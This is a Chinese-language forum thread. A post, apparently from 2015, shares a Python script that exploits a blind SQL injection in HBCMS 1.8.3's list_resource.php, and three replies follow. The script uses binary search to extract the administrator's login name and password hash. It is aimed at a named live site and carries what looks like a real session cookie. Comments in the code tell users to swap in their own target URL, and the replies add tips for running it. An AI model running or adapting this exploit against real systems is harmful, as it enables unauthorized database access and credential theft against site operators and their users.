python 盲注 HBCMS 1.8.3 漏洞
本帖最后由 ran 于 2015-1-31 12:01 编辑根据文章所写，应该是需要cookie。做好准备工作，上传个图片。
代码采用二分法，类似于sqlmap的算法
#-*- coding: UTF-8 -*-
__author__ = 'Administrator'
import requests
def post_data(step,p,min,max):
if step == 1:
sql_code = "(select length(login_name) from hbcms_users where id=1)>"+str(p)
if step == 2:
sql_code = "(select length(login_pass) from hbcms_users where id=1)>"+str(p)
if step == 3:
sql_code = "(select mid(login_name,"+str(p)+",1) from hbcms_users where id=1) between char("+str(min)+") and char("+str(max)+")"
if step == 4:
sql_code = "(select mid(login_pass,"+str(p)+",1) from hbcms_users where id=1) between char("+str(min)+") and char("+str(max)+")"
return sql_code
header = {#Cookie需要自己修改
"Cookie":"visited_page=5629-; bdshare_firstime=1422370057395; PHPSESSION=ep7nhkn8poei9jbckd68j2arr1; HBcmsLogin=19d2c1427b496606c40cdfa0f7139327dca4962953fb8ea0fda93c3b87635c12lbc555; HBcmsLoginName=lbc555; HBcmsLoginID=1122; Hm_lvt_f9fcde02679434efdea208afff286914=1422370057,1422410160; Hm_lpvt_f9fcde02679434efdea208afff286914=1422410945; AJSTAT_ok_pages=28; AJSTAT_ok_times=1; Hm_lvt_a3afd03fd164ca89566a02f9c9db5dad=1422370057,1422410160; Hm_lpvt_a3afd03fd164ca89566a02f9c9db5dad=1422410945"
}
name_len = 1
pass_len = 32
name_con = ""
pass_con = ""
for step in range(1,5):
if step == 1 or step == 2:
p = 20
min = 0
max = 40
while(1):
#print str(max)+":"+str(min)
if p == 40:
print "Too long! Fuck you!"
break
payload = {
"show_top_part=":"yes",
"pageID":"1",
"category_id":"all",
"file_type":"0",
"title":"q%\" and "+ post_data(step,p,0,0) +" and \"%a%\"=\"%a",
"btnSubmit":"提交"
}
r = requests.post('http://www.hackblog.cn/user/list_resource.php',data=payload,headers=header) #修改目标url
if "1309_1122_150128100612.gif" in r.content: #修改你上传后的图片名
min = p
p = int(round((float(max) - float(min))/2)) + min
if max - min == 1:
if step == 1:
name_len = p
print "username length is "+str(name_len)
break
if step == 2:
pass_len = p
print "password length is "+str(pass_len)
break
else:
max = p
p = int(round((float(max) - float(min))/2)) + min
if max - min == 1:
if step == 1:
name_len = p
print "username length is "+str(name_len)
break
if step == 2:
pass_len = p
print "password length is "+str(pass_len)
break
if step == 3 or step == 4:
if step == 3:
end = name_len
else:
end = pass_len
for k in range(1,end+1):
p = 47
min = 32
max = 126
while(1):
#print str(max)+":"+str(min)+":"+str(p)
payload = {
"show_top_part=":"yes",
"pageID":"1",
"category_id":"all",
"file_type":"0",
"title":"q%\" and "+ post_data(step,k,p,max) +" and \"%a%\"=\"%a",
"btnSubmit":"提交"
}
r = requests.post('http://www.hackblog.cn/user/list_resource.php',data=payload,headers=header)#修改目标url
if "1309_1122_150128100612.gif" in r.content: #修改你上传后的图片名
if max - min == 2:
if step == 3:
name_con = name_con + chr(p)
print "username is "+name_con
else:
pass_con = pass_con + chr(p)
print "password is "+pass_con
break
if max - min == 1:
max = max + 1
min = p
p = int(round((float(max) - float(min))/2)) + min
else:
if max - min == 1:
min = min - 1
max = p
p = int(round((float(max) - float(min))/2)) + min
参考文章：http://tunps.com/hbcms-list_resource-php-blind-sql-injection
转自Hack Blog
Re: python 盲注 HBCMS 1.8.3 漏洞
感谢分享这个利用二分法进行SQL盲注的Python脚本，思路很清晰。代码里对用户名和密码长度及内容分步注入，配合上传图片来验证True/False，做法和sqlmap的二分算法确实类似。有个问题：你提到Cookie需要自己修改，请问这个漏洞测试时是不是必须要有合法登录态的Cookie？或者匿名访问也能触发？另外，那个“1309_1122_150128100612.gif”是你上传的测试图片吧，用图片是否存在作为True/False判断依据挺巧妙的。感谢提供PoC，对学习盲注很有帮助。Re: python 盲注 HBCMS 1.8.3 漏洞
很实用的分享，代码写得挺清楚的，二分法做盲注效率比线性猜解高很多。有个小疑问：图片判断依赖的是“1309_1122_150128100612.gif”出现在响应内容里，这个图片名是上传后实际得到的吗？另外Cookie里包含了登录态，用的时候最好重新生成一下自己的session吧。多谢楼主提供思路。Re: python 盲注 HBCMS 1.8.3 漏洞
这个Python盲注脚本写得挺清晰的，二分法的思路和sqlmap的原理确实一致。 有几个地方提醒一下：1）Cookie里的session和HBcmsLogin相关字段时效性很强，用之前记得换成自己的；2）图片名那个判断条件建议改成更独特的字符串，避免误判；3）可以加个超时或异常处理，网络波动时不容易断。 另外，如果你要复现，记得先确认目标站还有没有这个注入点，毕竟文章是2015年的，现在版本可能已经修补了。
页:
[1]